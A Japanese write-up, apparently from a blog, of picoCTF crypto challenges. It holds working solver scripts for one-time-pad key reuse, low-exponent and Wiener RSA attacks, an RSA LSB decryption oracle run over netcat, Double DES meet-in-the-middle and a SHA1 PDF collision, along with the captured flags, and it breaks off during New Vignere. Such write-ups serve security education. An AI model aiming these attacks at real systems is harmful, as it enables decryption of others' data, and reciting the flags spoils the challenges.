#!/usr/bin/python3 -u import os.path KEY_FILE = "key" KEY_LEN = 50000 FLAG_FILE = "flag" def startup(key_location): flag = open(FLAG_FILE).read() kf = open(KEY_FILE, "rb").read() start = key_location stop = key_location + len(flag) key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key)) print("This is the encrypted flag!\n{}\n".format("".join(result))) return key_location def encrypt(key_location): ui = input("What data would you like to encrypt? ").rstrip() if len(ui) == 0 or len(ui) > KEY_LEN: return -1 start = key_location stop = key_location + len(ui) kf = open(KEY_FILE, "rb").read() if stop >= KEY_LEN: stop = stop % KEY_LEN key = kf[start:] + kf[:stop] else: key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key)) print("Here ya go!\n{}\n".format("".join(result))) return key_location print("******************Welcome to our OTP implementation!******************") c = startup(0) while c >= 0: c = encrypt(c)
フラグ文字列の長さは 32 バイトなので、まず 50000 - 32 バイトの文字列を入力して、鍵を消費させる。
その後 32バイトの \x00
を暗号化させると、初めに使用された鍵を特定することができる。
$ python3 -c "print('A'*(50000-32)+'\n'+'\x00'*32)" | nc mercury.picoctf.net 64260 <snip> What data would you like to encrypt? Here ya go! 62275c786663615c783165725c786237225c7863315c7831375c7861305c7838 What data would you like to encrypt?
鍵の特定ができたので、後は CyberChef で XOR すればフラグを復号することができる。
picoCTF{3a16944dad432717ccc3945d3d96421a}
New Caesar - 60 points
We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{})
mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj
new_caesar.py
new_caesar.py を読むと、フラグ文字列を b16_encode でエンコードし、shift で文字列をずらすという処理になっていた。 また、key の長さは、1文字固定になっていた。
import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] flag = "redacted" key = "redacted" assert all([k in ALPHABET for k in key]) assert len(key) == 1 b16 = b16_encode(flag) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) print(enc)
逆の手順を行う unshift と b16_decode を実装し、key を総当たりすれば解ける。
import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(enc): dec = "" for i in range(0, len(enc), 2): n1 = ord(enc[i]) - LOWERCASE_OFFSET n2 = ord(enc[i+1]) - LOWERCASE_OFFSET dec += chr((n1 << 4) + n2) return dec def unshift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] enc = 'mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj' for key in ALPHABET: b16 = "" for i, c in enumerate(enc): b16 += unshift(c, key[i % len(key)]) flag = b16_decode(b16) if all([c in string.printable for c in flag]): print(flag)
上記のスクリプトを実行すると、2つの候補が出力された。両方とも入力してみると、1つ目が正しいフラグになっていた。
$ python3 solve.py et_tu?_a2da1e18af49f649806988786deb2a6c TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R
picoCTF{et_tu?_a2da1e18af49f649806988786deb2a6c}
Mini RSA - 70 points
What happens if you have a small exponent? There is a twist though, we padded the plaintext so that (M ** e) is just barely larger than N. Let's decrypt this: ciphertext
e が小さいので Low Public Exponent Attack が可能
#!/usr/bin/env python3 import gmpy2 def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def low_public_exponent_attack(c, e, n=0): while True: m, exact_root = gmpy2.iroot(c, e) if exact_root == True: break c += n return int(m) def main(): n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962 e = 3 m = low_public_exponent_attack(c, e, n) flag = long_to_bytes(m).decode().strip() print(flag) if __name__ == '__main__': main()
$ python3 solve.py picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}
picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}
Dachshund Attacks - 80 points
What if
d
is too small? Connect withnc mercury.picoctf.net 36463
.
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 36463 Welcome to my RSA challenge! e: 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625 n: 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169 c: 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345
e が大きすぎる場合、Wiener attack で d を求めることができる。
import owiener def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def main(): e = 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625 n = 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169 c = 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345 d = owiener.attack(e, n) print('d =', d) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py d = 10654506914838660682042479308820932228624973756818215204747660280732997426733 picoCTF{proving_wiener_2635457}
picoCTF{proving_wiener_2635457}
No Padding, No Problem - 90 points
Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it? Connect with
nc mercury.picoctf.net 42248
.
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 42248 Welcome to the Padding Oracle Challenge This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck! n: 90101643683642449854141336789755762750892438892492293162747484130901800000476193957507322455444793365572878082615944603531154759082954196403476102687766754013478750367732778910414385109169060566519214178468223030897871266040587489080579439025035637990339198670309017861948362214005512914928246568765305024767 e: 65537 ciphertext: 55059755122316293832806182548856940205700087671359599893654974960052751590338675291837564636041951152539150526610821581731320858542078629785862790217786932780068848408944318495408576899383380788155211222791292060471451513146108358481359709726036875084627488661424786721073201264949133187880243301440697444504 Give me ciphertext to decrypt:
任意の暗号文を復号することができるので、LSB Decryption Oracle Attack で平文を求めることができる。 ただし、サーバへの入力回数制限がある。 何度か試した結果、600回分ぐらいまで LSB が 0 固定だったので、その回数分はサーバに入力せずに探索させるようにした。
from fractions import Fraction import nclib import sys def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def lsb_decryption_oracle_attack(c, e, n, decrypt_lsb_func): lsb_count = 0 bounds = [0, Fraction(n)] print('lsb = ', end='') while True: c2 = (c * pow(2, e, n)) % n if lsb_count < 600: lsb = 0 else: lsb = decrypt_lsb_func(c2) sys.stdout.flush() lsb_count += 1 print(lsb, end='') if lsb == 1: bounds[0] = sum(bounds) / 2 else: bounds[1] = sum(bounds) / 2 diff = bounds[1] - bounds[0] diff = diff.numerator // diff.denominator if diff == 0: print() # return m = bounds[1].numerator // bounds[1].denominator return m c = c2 def main(): host = 'mercury.picoctf.net' port = 42248 nc = nclib.Netcat((host, port)) nc.readuntil('n: ') n = int(nc.readuntil('\n').decode('utf8').strip()) nc.readuntil('e: ') e = int(nc.readuntil('\n').decode('utf8').strip()) nc.readuntil('ciphertext: ') c = int(nc.readuntil('\n').decode('utf8').strip()) print('n =', n) print('e =', e) print('c =', c) def decrypt_lsb(c): nc.readuntil('Give me ciphertext to decrypt: ') nc.send(str(c) + '\n') nc.readuntil('Here you go: ') m = int(nc.readuntil('\n').decode('utf8').strip()) return m % 2 m = lsb_decryption_oracle_attack(c, e, n, decrypt_lsb) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py n = 127538109255149095159351255319745846800842622737071047206458625471775250251247589987255533154549522897945773386612463892310040847081866951183088945315833082409020477026914363348359495479411632017058742284291288096032191788866942959097081110060390924386114120017465652486559435432083309957588562501724746743077 e = 65537 c = 126157948333791054890541032128762049981774872417790778366321819526665365804293162663843061380248606275351261834820605470723069254403322672259795792356479432275253463326722026226003867381699189801868601201429379060463483801885195943124329665680535394848337728418075834649386350321320621979652104693859600216081 lsb = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111100111001010110101110011001100100001010101100100001101101000101010110011001011111011110110110000111111101011101100000100010011010110011110010001011000000010001010100101100101110101010000110011101110000000011111101101101110010101100001111100011010001110001010010001101011011100101101101111111000101100010100000011010100111010000111001101011101110011111001011010100000110110111000001001001111010101000010 picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}
picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}
Play Nice - 110 points
Not all ancient ciphers were so bad... The flag is not in standard format.
nc mercury.picoctf.net 30568
playfair.py
netcat で接続すると、以下のように表示された。
$ nc mercury.picoctf.net 30568 Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i What is the plaintext message?
playfair.py を確認すると、末尾に Playfair Cipher の Wikipedia のリンクが書かれていた。
上記を参照したところ、どうやら2文字ずつ変換していくらしいということが分かった。 よって、以下の方針で復号するようにした。
- 2文字ずつ総当たりで暗号化して復号用のテーブルを作成する。
- 作成したテーブルを参照しながら、元の暗号文を復号する。
playfair.py を少し書き換えて復号できるようにした。
#!/usr/bin/python3 -u from pprint import pprint import signal SQUARE_SIZE = 6 def generate_square(alphabet): assert len(alphabet) == pow(SQUARE_SIZE, 2) matrix = [] for i, letter in enumerate(alphabet): if i % SQUARE_SIZE == 0: row = [] row.append(letter) if i % SQUARE_SIZE == (SQUARE_SIZE - 1): matrix.append(row) return matrix def get_index(letter, matrix): for row in range(SQUARE_SIZE): for col in range(SQUARE_SIZE): if matrix[row][col] == letter: return (row, col) print("letter not found in matrix.") exit() def encrypt_pair(pair, matrix): p1 = get_index(pair[0], matrix) p2 = get_index(pair[1], matrix) if p1[0] == p2[0]: return matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE] elif p1[1] == p2[1]: return matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]] else: return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]] def encrypt_string(s, matrix): result = "" if len(s) % 2 == 0: plain = s else: plain = s + "0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q"[0] for i in range(0, len(plain), 2): result += encrypt_pair(plain[i:i + 2], matrix) return result # added import itertools alphabet = '0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q' enc_msg = 'herfayo7oqxrz7jwxx15ie20p40u1i' m = generate_square(alphabet) dec_table = {} for x, y in itertools.product(alphabet, alphabet): msg = x + y c = encrypt_string(msg, m) dec_table[c] = msg dec_msg = '' for i in range(0, len(enc_msg), 2): c = enc_msg[i] + enc_msg[i + 1] dec_msg += dec_table[c] print(dec_msg)
$ python3 playfair.py emf57mgc51tp693dtt4g3h7f8ouwq3
netcat で接続し、復号した文字列を入力するとフラグが表示された。
$ nc mercury.picoctf.net 30568 Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i What is the plaintext message? emf57mgc51tp693dtt4g3h7f8ouwq3 Congratulations! Here's the flag: 007d0a696aaad7fb5ec21c7698e4f754
007d0a696aaad7fb5ec21c7698e4f754
Double DES - 120 points
I wanted an encryption service that's more secure than regular DES, but not as slow as 3DES... The flag is not in standard format.
nc mercury.picoctf.net 33425
ddes.py
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 33425 Here is the flag: d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08 What data would you like to encrypt? 41 efc063ad29d74143 What data would you like to encrypt?
Double DES かつ任意の平文を同じ鍵で暗号化した結果を入手することができるので、中間一致攻撃で鍵を特定することができる。 以下を参考にスクリプトを作成した。
出典: Meet-in-the-middle attack - Wikipedia
from Crypto.Cipher import DES import string import itertools import binascii """ $ nc mercury.picoctf.net 33425 Here is the flag: d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08 What data would you like to encrypt? 41 efc063ad29d74143 What data would you like to encrypt? """ def pad(msg): block_len = 8 over = len(msg) % block_len pad = block_len - over return (msg + " " * pad).encode() def create_dec_k2_table(c): dec_k2_table = {} for ch in itertools.product(string.digits, repeat=6): key2 = pad(''.join(ch)) cipher2 = DES.new(key2, DES.MODE_ECB) dec = cipher2.decrypt(c) dec_k2_table[dec] = key2 return dec_k2_table def create_enc_k1_table(p): enc_k1_table = {} for ch in itertools.product(string.digits, repeat=6): key1 = pad(''.join(ch)) cipher1 = DES.new(key1, DES.MODE_ECB) enc = cipher1.encrypt(p) enc_k1_table[enc] = key1 return enc_k1_table def meet_in_the_middle_attack(p, c): enc_k1_table = create_enc_k1_table(p) dec_k2_table = create_dec_k2_table(c) middle_ciphertext = list(enc_k1_table.keys() & dec_k2_table.keys())[0] key1 = enc_k1_table[middle_ciphertext] key2 = dec_k2_table[middle_ciphertext] print('middle_ciphertext:', binascii.hexlify(middle_ciphertext).decode()) print('key1:', key1) print('key2:', key2) return key1, key2 def double_decrypt(c, key1, key2): cipher2 = DES.new(key2, DES.MODE_ECB) dec_c = cipher2.decrypt(c) cipher1 = DES.new(key1, DES.MODE_ECB) return cipher1.decrypt(dec_c) def main(): p = pad(binascii.unhexlify('41').decode()) c = binascii.unhexlify('efc063ad29d74143') enc_flag = binascii.unhexlify('d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08') key1, key2 = meet_in_the_middle_attack(p, c) flag = double_decrypt(enc_flag, key1, key2) print('flag:', flag.decode()) if __name__ == '__main__': main()
$ python3 solve.py middle_ciphertext: 6c90b66f95635193 key1: b'539737 ' key2: b'379195 ' flag: af5fa5d565081bac320f42feaf69b405
af5fa5d565081bac320f42feaf69b405
It is my Birthday 2 - 170 points
My birthday is coming up again, but I want to have a very exclusive party for only the best cryptologists. See if you can solve my challenge, upload 2 valid PDFs that are different but have the same SHA1 hash. They should both have the same 1000 bytes at the end as the original invite. http://mercury.picoctf.net:59127/ invite.pdf
以下のページから、SHA1ハッシュ値が同一のPDFをダウンロードする。
invite.pdf の後ろから1000バイトを取り出して、各PDFの末尾に追記する。
base_pdf = 'invite.pdf' pdf_files = [ 'shattered-1.pdf', 'shattered-2.pdf', ] with open(base_pdf, 'rb') as f: data = f.read() orig_invite_data = data[-1000:] for pdf in pdf_files: with open(pdf, 'ab') as f: f.write(orig_invite_data)
$ sha1sum shattered-1.pdf shattered-2.pdf 38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-1.pdf 38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-2.pdf $ python3 add_invite_data.py $ sha1sum shattered-1.pdf shattered-2.pdf 133f99dc4ac356ad2b2b611f82d51fda3451d352 shattered-1.pdf 133f99dc4ac356ad2b2b611f82d51fda3451d352 shattered-2.pdf
データを追記した2つのファイルをアップロードすると、フラグが表示された。
picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}
Pixelated - 200 points
I have these 2 images, can you make a flag out of them? scrambled1.png scrambled2.png
「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」で画像を合成すると、フラグが表示された。
picoCTF{1b867c3e}
New Vignere - 300 points
Another slight twist on a classic, see if you can recover the flag. (Wrap with picoCTF{})
bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp
new_vignere.py
New Caesar の続きの問題
前回と違い、今回は key の長さが1~14文字になっている。また、復号後の文字列は abcdef0123456789
のいずれかになっており、候補が少なくなっている。
まずは、暗号化された文字列が正しく復号できる key のパターンをすべて列挙した。
import string import itertools LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] enc_flag = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp' for off in range(0, len(enc_flag), 2): key0_list = [] key1_list = [] for ch in "abcdef0123456789": for k in itertools.product(ALPHABET, repeat=2): key = ''.join(k) b16 = b16_encode(ch) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) if enc == enc_flag[off:off+2]: key0_list.append(key[0]) key1_list.append(key[1]) print(enc_flag[off:off+2]+'_0', key0_list) print(enc_flag[off:off+2]+'_1', key1_list)
$ python3 test.py | nl 1 bk_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o'] 2 bk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 3 gl_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 4 gl_1 ['k', 'j', 'i', 'h', 'g', 'f', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c'] 5 ib_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 6 ib_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i'] 7 gk_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 8 gk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 9 hg_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 10 hg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 11 hk_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 12 hk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 13 ij_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 14 ij_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 15 ph_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm'] 16 ph_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 17 hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 18 hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 19 ej_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 20 ej_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 21 gg_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 22 gg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 23 ik_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 24 ik_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 25 gj_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 26 gj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 27 kb_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h'] 28 kb_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i'] 29 he_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 30 he_1 ['d', 'c', 'b', 'a', 'p', 'o', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l'] 31 fg_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c'] 32 fg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 33 pi_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm'] 34 pi_1 ['h', 'g', 'f', 'e', 'd', 'c', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p'] 35 en_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 36 en_1 ['m', 'l', 'k', 'j', 'i', 'h', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e'] 37 ef_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 38 ef_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 39 jd_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g'] 40 jd_1 ['c', 'b', 'a', 'p', 'o', 'n', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k'] 41 io_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 42 io_1 ['n', 'm', 'l', 'k', 'j', 'i', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f'] 43 gh_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 44 gh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 45 hc_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 46 hc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j'] 47 hf_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 48 hf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 49 fh_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c'] 50 fh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 51 mm_0 ['g', 'g', 'g', 'g', 'g', 'g', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j'] 52 mm_1 ['l', 'k', 'j', 'i', 'h', 'g', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd'] 53 hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 54 hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 55 bj_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o'] 56 bj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 57 gc_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 58 gc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j'] 59 lp_0 ['f', 'f', 'f', 'f', 'f', 'f', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i'] 60 lp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g'] 61 jf_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g'] 62 jf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 63 kp_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h'] 64 kp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']
key は、14文字以下なので、それ以上の長さの文字列を暗号化する場合、key の先頭に戻って再度暗号化に使用される。
上記の結果を基に、key の使用傾向を見ると、o
が9文字毎に出現していることが分かる。
このことから、key の長さは、9文字であると推測できる。
次に 9文字の key が矛盾なく繰り返されているパターンを見つける。
手動で探したところ oedcfjdbe
であれば、矛盾なく繰り返すことができると分かった。
最後に特定した key を使って復号すると、フラグが表示された。
